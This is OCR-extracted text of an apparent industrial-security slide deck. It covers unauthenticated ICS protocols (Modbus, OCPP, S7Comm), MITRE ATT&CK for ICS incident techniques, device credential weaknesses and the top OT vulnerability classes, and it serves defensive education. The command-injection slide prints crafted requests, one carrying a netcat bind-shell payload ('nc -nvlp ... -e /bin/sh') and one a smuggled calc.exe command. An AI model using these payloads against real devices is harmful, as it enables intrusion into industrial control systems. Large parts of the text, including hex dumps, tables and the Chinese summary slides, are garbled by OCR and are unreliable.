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What is Insecure by Design




What is Insecure by Design
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Modbus — Overview

Modbus is a widely used communication protocol in industrial automation and control systems. It was
developed in the late 1970s by Modicon (now part of Schneider Electric)

CRC
Error Check

Function Code Data
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Modbus — Lack of Authentication

\ Mo

Network
Switch

Office
Room

Attacker SCADA

RENLPARS

Modbus RTU -
Modbus protocol does not check the authority ocbus

of the message sender.
Anyone can send Modbus commands to slave
deVICeS' no aUthentlcatlon reqUIred Transaction 1D Protocol ID Length Unit ID Function Code Data

Slave ID Function Code Data CRC

MBAP Header -

« Modbus TCP -
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OCPP — Overview

The Open Charge Point Protocol (OCPP) is an application protocol for communication
between Electric vehicle (EV) charging stations and a central management system.

Charging
Station

EV drix.rr:'-lr
|

Keep the Operation Running % .-.texgpe
https://www.openchargealliance.org/



OCPP — Lack of Authentication (CSMS providers)

Charging Point
A

Custom Interface

Driver

Fake Charging Point A’
(Attacker)

@

2,"36d38238-3747-473T-be2d-13847573aced” , "Authorize”,{"idTag" : "6rnRznhhlg"”
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S7Comm / S7Comm Plus — Overview

S7COMM protocol is an application layer protocol which implements functions for exchanging data
between Simatic S7 series PLCs and other devices that supports the S7 protocol — e.g. PCs.

PLC programming

( v‘ 2
i é’
. "4
o T — =
e ' ;
v T m— e
B |

S7 Communication "

Totally Integrated Automation Protocol S7-1200 S
Portal (S7Comm Plus) Communication
(TIA Portal) between PLCs
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S7Comm / S7Comm Plus — Vulnerability #1 Lack of Authentication

1A
[

TIA Portal

57 Communication
Header: (Job)

Protocol Id: Bx32
ROSCTR: Job (1)
Redundancy Identification (Reserved): @x08000
Protocel Data Unit Reference: 2
Parameter length: 16
Data length: @

v~ Parameter: (PLC Stop)
Function: PLC Stop (8x29)
Unknown bytes: BEEEEBEEEE
Length part 2: 9

PI (program invocation) Service: P_PROGRAM
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S7Comm / S7Comm Plus — Vulnerability #2 Lack of Authentication

18t request

IA 2"d request
16

TIA Portal

N' request

18t request

1A

1€

TIA Portal
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ication

57 Communication Plus
Header: Protocol version=V1
v Data: Request DeleteObject

- . 5 i > 3 h - . "
Opcode: Request (@x31) Attacker 57 Communication Plus
Reserved: BxBooe

Function: DeleteObject (B8x84d4) Header: Protocol version=Vl

Reserved: 0x0000 v Data: Response Deletelbject

Sequence number: 8 Opcode: Response (@x32)

Session Id: ©x2080838 Reserved: BxPoae

Transport flags: @x34, Bit2-AlwaysSet?, Bitd-AlwaysSet?, Bit5-AlwaysSet?
v Request Set

Function: DeleteObject (Bx84d4)

Reserved: BxD000
Filling byte: 0x00 ' Sequence number: 3

ObjectQualifier Transport flags: 8x34, Bit2-AlwaysSet?, Bitd-AlwaysSet?, Bit5-AlwaysSet?

Data unknown: 88820660 ¥ Response Set

Trailer: Protocol version=V1 Return wvalue BBBBBBBBBBBBBB@_BB Error code

1. [Request] Delete Object Request 06000006

Trailer: Protocol wversion=V1

57 Communication Plus .
Headzr: Protocol version-V1 2.[Response] Delete Object Request
v Data: Request CreateObject
Opcode: Request (8x31)
Reserved: @x80808@
Function: Createlbject (@xB8dca)
Reserved: @x80808@

<

Session Id: @x000003
Transport flags : Bit4d-AlwaysSe Bit5-AlwaysSet
Request Set
Data unknown: 208280080

Trailer: Protocol version=V1
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What is TTPs

RAMID OF PAIN

Network/Host
Artifacts

Domain Names

IP Addresses Easy

Travail

Hash Values
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actics

Techniques

Procedures

Concept

The Pyramid of Pain is a conceptual model
for the effective use of Cyber Threat
Intelligence in threat detection operations,
with a particular emphasis on increasing
the adversaries' cost of operations
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The TTPs in ICS incidents

MITRE ATT&CK® ICS Matrix

TTPs that have been used in real-world attacks

Keep the Operation

12 technigues

Initial Access Execution

9 techniques

Persistence

Spearphishing
Attachment

External Remote
Services

Exploitation of
Remaote 5

Supply

omise

unning

Scripting

Command-Line
Interface

User Execution

Valid Accounts

Privilege . Later

Escalation Evasion

2 techniques 6 techniques 5 technigues 7 techniques
Remote System
Discovery

op Remote System
Information

Indicator Removal |Discoveny

on Host

Program
Download

al
Discovery Movement Collection

11 techniques

Data from
Information

Data from Local
System

Maonitor Process

State

ram Upload

Point

Command

and Control

3 techniques

Commaonly
Used Port

Connection
p 1

Impair
Inhibit Response  Process
Function Control

14 techniques 5 technigues

Service Stop

Data Destruction

Denial of Se
Parameter

Brute

ICS incident proportion, compiled by TXOne in 2024

Impact
12 techniques

Theft of

Operational
Information
Loss of View

Manipulation of
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Initial Access
12 techniques

Spearphishing
Attachment

Drive-by
Compromise

External Remote
Services

Exploitation of
Remote Services

Supply Chain
Compromise

Com [:-_r_I:- mise

The TTPs in ICS incidents - Initial Access

The adversary is trying to get into your ICS environment.

OilRig has been seen utilizing watering hole attacks to collect credentials which could be used to gain
access into ICS networks. B3I

Stuxnet executes malicious SQL commands in the WinCC database server to propagate to remote system. 4]
WannaCry initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting
MS17-010 vulnerability) spread to industrial networks. [31

Dragonfly trojanized legitimate ICS equipment providers software packages available for download on their
websites.[6!

Nuclear power plant officials suspect someone brought in Conficker by accident on a USB thumb drive,
either from home or computers found in the power plant's facility. ]

Sandworm Team actors exploited vulnerabilities in GE's Cimplicity HMI and Advantech/Broadwin
WebAccess HMI software which had been directly exposed to the internet. 81 2]
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https://attack.mitre.org/software/S0089
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://attack.mitre.org/software/S1045
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Jimmy%20Wylie%20-%20Analyzing%20PIPEDREAM%20Challenges%20in%20testing%20an%20ICS%20attack%20toolkit.pdf
https://attack.mitre.org/groups/G0049
https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk
https://attack.mitre.org/software/S0603
https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf
https://attack.mitre.org/software/S0366
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://attack.mitre.org/groups/G0035
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers#:~:text=The%20attackers%2C%20known%20to%20Symantec,supply%20in%20the%20affected%20countries.
https://attack.mitre.org/software/S0608
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://attack.mitre.org/groups/G0034
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B

The TTPs in ICS incidents - Lateral Movement

The adversary is trying to move through | Lateral
your ICS environment.

7 techniques

* Bad Rabbit initially infected IT networks, but by
means of an exploit (particularly the SMBv1-
targeting MS17-010 vulnerability) spread to

Exploitation of industrial networks. 14

orogram * INCONTROLLER can use the CODESYS protocol

Bownload to download programs to Schneider PLCs.[3]

el ©  Stuxnet uses a hardcoded password in the

Def WinCC software's database server as one of the

Credentizls

mechanisms used to propagate to nearby
systems. (6]
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https://attack.mitre.org/groups/G0088
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://attack.mitre.org/software/S0366
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://attack.mitre.org/software/S1045
https://attack.mitre.org/software/S0606
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://attack.mitre.org/software/S1045
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Jimmy%20Wylie%20-%20Analyzing%20PIPEDREAM%20Challenges%20in%20testing%20an%20ICS%20attack%20toolkit.pdf
https://attack.mitre.org/software/S0603
https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf

To P 10 Techni ques use d by Attack "lu: m;mnlummi*IUWH'hhmumm-u|um.........umm..m

Groups/Software

10
9
7
6
5
4
3
2
1
0
Valid Accounts Spearphishing Scripting Remote Services Lateral Tool Standard Loss of Masquerading Unauthorized Remote System
Attachment Transfer Application Layer  Productivity and Command Discovery
Protocol Revenue Message
TO859 T0865 T0853 TO886 T0867 T0869 T0828 T0849 TO855 T0846
W 2016 Ukraine Electric Power Attack m ACAD/Medre. A W ALLANITE W APT33 W Backdoor.Oldrea Bad Rabbit
BlackEnergy Conficker M Dragonfly M Dragonfly 2.0 W Duqu EKANS
Flame HEXANE m INCONTROLLER m Industroyer m Industroyer2 KillDisk
Lazarus Group LockerGoga B Maroochy Water Breach W NotPetya | QilRig Oldsmar Treatment Plant Intrusion
PLC-Blaster REvil Ryuk W Sandworm Sandworm Team M Stuxnet
B TEMP.Veles H Triton VPNFilter WannaCry XENOTIME
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Example of Obtaining a Valid Account — Moxa protocol CVE-
2016-XXXX

The private protocol provides Moxa devices with some basic device information required for more
advanced functionality in response to the sender.

Keep the Operation Running % tane
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Example of Obtaining a Valid Account — Moxa protocol CVE-
2016-XXXX

Many settings and info need to device password to access (such as upgrade F/W, get Console, ...etc)

- O

J| psu

Errar

File  Function

'.6.' Device is password protected. Please [Unlock] first.

User Datagram Protocol, 5rc Port: 57826, Dst Port: 4388
Data (21 bytes)
Data: 2980806814888888881851888818518898e85d4635bc

Infarmation

f 0 . - Un-Lock OK

14900
1422@NP 511@----

Keep the Operation Running
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Example of Obtaining a Valid Account — CODESYS Protocol CVE-
2019-XXXX

CODESYS is an integrated development environment for programming controller.

CODESYS Protocol
CODESYS

ger (1) project* - ¢
File Edit Project EBuild Online Debug Toels ‘Window Help Automation §

HEdE & dh 0 4% Application [Device: PLC LY

PLC/HMI

Alarm Manager Example

AlarmTableSimulation @l [ pevice x

lated Alarmtable: Alarms from alarm storage

Information

m Totslcourt rows i Hetsey. 0

= 2Qne
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Example of Obtaining a Valid Account — CODESYS Protocol CVE-
2019-XXXX

CODESYS is an integrated development environment for programming controller.

CODESYS Data Tag ID(0xB@10) OX1 O username

ID: exB80068810
........ @... .... = Type: Data (©x@)

Size: 4 . PLC/HMI
Data: 64656d6T

Data Tag ID(@x0011)
T ) 0x11 password(encrypted)

B D = Type: Data (0x8)

Device User Logon

You are currently not authorized to perform this operation on the device. Please enter the name
_J and password of an user account which has got the sufficient rights.

88 @@ 78 56 34 12 81 81 as @0 10 04 64 65 6d &
Gl N TS Y B4 37 21 cb 59 37 B2 fc 11 81 83
68

GELNEce 75 78 63 at 54 75 da 3f 78 68 d9 44 72 2a I S T
GlELlica 55 62 5 - UbF

Device name

F2 6544 52B1364566 CD 23323776757068 3754687562
3F70686144722A 72556252

Keep the Operation Running
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Example of Obtaining a Valid Account — Traffic Signal Controller
System CVE-2023-XXXX

» Phase Output
v Channel Output
1 12 13 14 15 16

Yellow

Green

Keep the Operation Running % tExOne
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Example of Obtaining a Valid Account — Traffic Signal Controller

System CVE-2023-XXXX

Lack a password requirement for access to log files, database and configuration files

Enter

0101
JLUL
AATA
IJIJI_II_I
CAMA
oo

» Phase Qutput 0000

v Channel Output 0000

SUUU

¥atalsl

S UL

1
0000
Red @ 0002

el
IJ IJ IJ IJ

Yellow

0800
S

Green Fa11

Keep the Operation Running

Tt
Ubbo
Q000

MV AY,

CANA
IJ I_l I_l IJ

CANA
boou
CANA
IJ IJ IJ IJ

NANA
IJ IJ IJ IJ
CANA
Q00fC

0000
0000

0050
0000

- O

NAVAVAY,

911

-

JuUy
1203
Jals
OO A
IJ I_l I_l IJ
OO
oo
SO
IJ IJ IJ IJ

OO
IJ IJ IJ IJ
T
0001

JUuou
0000
o000
o000

-

PAVAVAY

R
nnon3

-

IJ IJ IJ IJ
0211
Jad Ll
OO
IJ I_l IJ IJ
OO
oo
OO
IJ IJ IJ IJ

T
IJ IJ IJ IJ
Tl
001

JUOU
OO
IJ I_l IJ IJ

OO
oo

SO
4000
T

PAVAVAY

¥atals

-

IJ IJ IJ IJ
EEE
0000
0000
oooo0

-

SAVAVAY

ST

SAVAVAN)

0000
0000
1b70
0000

SAVAVAY

2020

LNy IV W I I I, W O W, I ) |

un

0020
6256
0000
Qo000
Qo000

-

SAVAVLY

T a¥alsl

Juu
0003
0000
0100
Q000

SAVAVLY

2020

0003
92a9%
0000
o000
o000

-

U

¥ a¥alsl

SRV AV AN/

AAAA
I_l IJ IJ IJ

0000
2860
0001
204d

AAOA
ol
T
IJ IJ IJ IJ

-

AVAVEY

Sy

sy
0003
0000
3020

811
]

4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4

1
1
1
1
1
1
1
1
1
1
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Example of Obtaining a Valid Account — Traffic Signal Controller
System CVE-2023-XXXX

Use a weak hash algorithm for encrypting privileged user credentials

1374

0 0000

D 4722

07dal N.D..PG"

1 i s 2

D 0000

0£87

4c00

0000
3b7c¢c
s & 3 iy
0000

5701

f14%]

LS

nonn

annn

annn

Keep the Operation Running

uooo
1845
1ELL

0 0000 C

ELLE
nnnn

nnnon

anon _nnnn

0000
0000
annn

........

........

................

.6:13=--
o o0 efiae e wineem
PubELC. wuee v

Password (MD5):
4ebd440d99504722d80de606ea8507da
Password (Cracked): 2360

Password (MD5):
81d7118d88d5570189ace943bd14f142
Password (Cracked): 9111

%E’

txOne

nebworks



Example of Obtaining a Valid Account — Traffic Signal Controller
YA E

bt
el

FIGURATION MATN MEN
FIGURATION MATN MENU Sub Main
Menu Menu

TROLI CONEFLGURAT TON 6. DETEC

STATUS

Status

0+ Clear

Enter

Data

Keep the Operation Running % ExOne
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Top 20 weakness in OT/ICS
environment




Whatis Common

Weakness Enumeration
(CWE)

* A catalog of software and
hardware weaknesses that can
lead to vulnerabilities.

* |t helps organizations identify,
understand, and mitigate these
issues to improve system
security and resilience




Common Weakness Enumeration (CWE)

CWE-787: Out-of-bounds Write

Weakness ID: 787
Vulnerability Mapping: ALLOWED
Abstraction: Base

View custormnized information: Conceptual J | QOperational J Eﬁgﬁ:ﬂg J [ Complete J | Custom J

¥ Description

< Memory o

[ A [ Intended Buffer ] f\] Leads to:

The product writes data past the end, or before the w / )
\ o orruption of Data

beginning, of the intended buffer.

Write Data Write Data
\ / Crash
@ Code Execution

Example 1 . - o e
The following code attempts to save four different identification numbers into an array. https.//cwe.m|tre.org/data/def|n|t|ons/787.html

Example Language: C
int id_sequence[3];
/™ Populate the id array. =/

id_sequence[0]
id_sequence[1]
id_sequence[2]
id_sequence[3]

-[-\-LIL.'II'\JII—l




Top 20 weakness(CWE) in OT (1999~2023)

Count by number of CVEs

Weakness ID Name

=

CWE-787

Out-of-bounds Write

CWE-119

Improper Restriction of Operations within the Bounds of a Memory Buffer

CWE-125

Out-of-bounds Read

CWE-20

Improper Input Validation

CWE-79

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-22

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CWE-200

Exposure of Sensitive Information to an Unauthorized Actor

CWE-287

Improper Authentication

O |V IN[O|U [B]|JWIN

CWE-89

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection’)

CWE-798

Use of Hard-coded Credentials

CWE-416

Use After Free

CWE-306

Missing Authentication for Critical Function

CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection’)

CWE-120

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

CWE-476

NULL Pointer Dereference

CWE-400

Uncontrolled Resource Consumption

CWE-330

Use of Insufficiently Random Values

CWE-352

Cross-Site Request Forgery (CSRF)

CWE-190

Integer Overflow or Wraparound

Keep the Operation Running

CWE-522

Insufficiently Protected Credentials
TXOne Threat Research, 2024
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Top 1 CWE-787 Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer.

Vulnerability CVE-2022-[ | Il I I ] Rockwell Automation Buffer Overflow

Description

Impact Denial of Service, or Remote Code Execution

Root Cause The buffer size used to generate Windows log events is 0x400 (1024 Bytes)

“C:\ProgramData\__J[ [ [ I ]]
Software\[_J|_ | L L IC LI NCIC I I E I \aaa...aaa “

Not handled well at user requests

Accept-Encoding: identity

Keep the Operation Running % ExOne
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Top 2 CWE-119 Improper Restriction of Operations within the
Bounds of a Memory Buffer

The product performs operations on a memory buffer, but it can read from or write to a memory
location that is outside of the intended boundary of the buffer.

Vulnerability CVE-2018-10693 | | ][ | | AWK-3121 Buffer Overflow
Description

Impact Denial of Service, or Remote Code Execution

Root Cause The value controlled by the user and there is no length check

Attacker sending a crafted request

POST /forms/webSetPingTrace HTTP/1.1

Host

Connection: keep-aliwve

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win&4; x64) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/112.8.8.8 S
fari/537.36

Keep the Operation Running
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CWE Weakness abstraction levels

The vulnerability description may not necessarily include a clear depiction of low-level CWEs

MUEIAVEELGERS

The highest-level weaknesses
that cannot be made any more
abstract.

CWE-664: Improper Control of a
Resource Through its Lifetime

Keep the Operation Running

Abstraction

Class Weakness

Independent of any specific
language or technology.

CWE-118: Incorrect Access of
Indexable Resource ('‘Range Error')

CWE-119 Improper Restriction of
Operations within the Bounds of a
Memory Buffer

Top 2

Base Weakness

Associated with groups of
specific languages,
technologies, or resources.

CWE-787 Out-of-bounds
Write

Top 1

Variant Weakness

Linking to an individual type of
language, technology, or
resource.

CWE-121 Stack-based Buffer
Overflow
CWE-122 Heap-based Buffer

Overflow _
== ExOne
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Top 3 CWE-125 Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer

Vulnerability CVE-2022-[ ][ ][ ]l I ]1GSS SCADA Memory Leak

Description

Impact Denial of Service

Root Cause Missing validation of the Size field [1] in a request sent to the server and check

the real data < size field[2]
Cause buffer over read and exception handler does not release the memory

IR i sY B8 @1 680 B8 88 87 88 8
0o PP 98 00 Pl 90 06 B8 B85 BP PP 00 PP B8 O
B8 B8 B8 B9 B9 B0 B8 B8 60 B0 B8 B8 B8 88 8
B8 B8 B2 B8 2 B9 B8 B8 19 B0 B0 B0 B8 88 8
Bo B0 B0 B0 B0 B0 B8 84 41 41 41 41 41 41 4
41 41 41 41 41 41 41 4

Keep the Operation Running % ExOne
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Top 13 CWE-78 Improper Neutralization of Special Elements
used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream
component, but it does not neutralize or incorrectly neutralizes special elements that could modify the
intended OS command when it is sent to a downstream component.

POST faction.php HTTP/1.1

Host: 172.16.15.78

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4
Content-Length: 181

Content-Type: application/x-www-form-urlencoded

udo+¥2Fusr¥2Fsbink2Fservice+. . X2F. . %2Fbin%2Fnc+-nvlp+59478+-e+%2Fbin%¥2Fsh%26PingChec

call/plaincall /EventHandlersDwr.testProcessCommand. dwr HTTP/1.1
Host: 172.16. 8

cept-Language: zh-TW,zh;q=0 en-Us;g=08.5,en;g=06.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Lengtt
Origin: http
DNT: 1
Connection: keep-alive
Referer: http 172.16.1.7/
Upgrade-Insecure-Reguests: 1
callCount=1&page Fevent handlers.shim&httpSessionld=%AD¥AA&scriptSessionld=260579848C1C1102E2101E5F321094E58668&cA-scriptName=EventHandlersDur&cB-methodlls
e=testProcessCommand&cB-id=0&cH-paramB=stringi3ACEIARSCH ndows#5CH5Csystem32® Ccalc.exefcB-paraml=string#3Al15&batchIld=24

Keep the Operation Running % ExOne
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Summary

I

N

OT/ICSHY 55 BERK

NG FEIT) G EA[H]
HHEERJCWER] DA > FH{EIHFIMITRE ATT&CK ] DL 2672
HRHS A SEH S

R EE
REEF =2

=) R

HZEHEE TS =N

HIR TR FE R I EE T

1% 145 Valid Account (TO859)E(i&Spearphishing Attachment (T0856) » #E A OT4dES

FIIFHVBS, shell, batZScripting (T0853) » E I EZH AT Remote Services(T0866), JE L (=% 4
Lateral Tool Transfer(T0867)

{#i FUnauthorized Command Message(T0855) » I EEOTE
7 % A 2 H BT Loss of Productivity and Revenue (T0855)

IHE4AOTAAEL S T
Keep the Operation Running
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Mitigations

i E L o
BedS L A E L T RE K ES => EPP/EDR
i A S E L TFEHAS => Firewall/IPS
B DB
W57 E] — Micro Segmentation
H R ERYIP address/Mac addressER 55 {75 H 4%
H TR EHProtocol, port FRES (A 7H 4R
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